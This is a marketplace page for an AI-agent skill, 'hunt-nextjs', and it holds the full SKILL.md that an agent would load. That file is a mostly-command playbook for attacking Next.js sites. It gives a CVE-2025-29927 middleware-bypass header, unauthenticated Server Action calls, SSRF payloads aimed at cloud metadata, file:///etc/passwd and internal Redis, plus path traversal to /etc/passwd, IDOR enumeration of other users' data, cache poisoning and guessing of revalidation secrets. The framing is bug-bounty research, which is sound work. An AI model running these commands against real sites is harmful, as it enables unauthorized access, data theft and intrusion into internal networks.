hunt-nextjs skill

by elementalsouls·elementalsouls/Claude-BugHunter·4.7k stars·MIT

Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.

C70/100content scan

Is the hunt-nextjs skill safe?

Read the findings before you install it. We read 1 file in the folder on 2026-09-28.

highSKILL.md:116
Reads credential files (SSH keys, cloud or package-manager tokens) that a skill has no normal reason to touch.
```
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
```

Install the hunt-nextjs skill

A skill is a folder. Copy it into your agent's skills folder and the agent loads it when the task matches its description.

git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter.git /tmp/Claude-BugHunter
mkdir -p ~/.claude/skills
cp -r /tmp/Claude-BugHunter/skills/hunt-nextjs ~/.claude/skills/hunt-nextjs

available in every project

In the Claude apps, zip the folder and upload it from the Skills settings. The folder on GitHub

The instructions your agent would load

SKILL.md as published, without the frontmatter. Read it on GitHub

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
Middleware bypass via /next/static/ — middleware skips static asset paths → protected routes accessible via /next/data/ IDOR
/next/image SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
RSC payload leakage — React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Phase 4 — Image Optimization SSRF (/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

FALSE-POSITIVE GUARD (read before claiming SSRF): /next/image only fetches URLs allowed by images.remotePatterns / images.domains in next.config.js. A non-whitelisted url returns 400 by default — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200 returns an optimized image, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique Collaborator subdomain** (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.

Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0

through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative

redirect that trusts the Host header — NOT a /_next/image bug, and it does

NOT affect Host-routed providers like Vercel. See Phase 2 for the Server

Actions surface.

Phase 5 — /_next/data/ IDOR & Data Leakage

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

Phase 6 — ISR Cache Poisoning

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

Phase 7 — Debug & Stack Frame Endpoints

Precondition: nextjslaunch-editor and nextjsoriginal-stack-frame are react-dev-overlay middleware mounted ONLY under next dev. A production build (next build && next start) does not register these routes — a 404 here is the normal, expected result, not a "filter" you need to bypass. They are reachable ONLY in the rare misconfiguration of literally running next dev in production. Treat any non-404 as the real finding; do NOT report a 404/filtered response as confirmation.

# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

Phase 8 — Environment Variable Leakage

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

Chain Table

Validation

✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from /next/image SSRF ✅ Middleware bypass: 200 response on protected route without auth cookie ✅ Data leak: NEXTDATA contains non-public secrets or other users' PII

Severity:

Server Action auth bypass → data mutation: High/Critical
Image SSRF → cloud metadata: Critical
Middleware bypass → admin panel: High
Source map exposure only: Low-Medium

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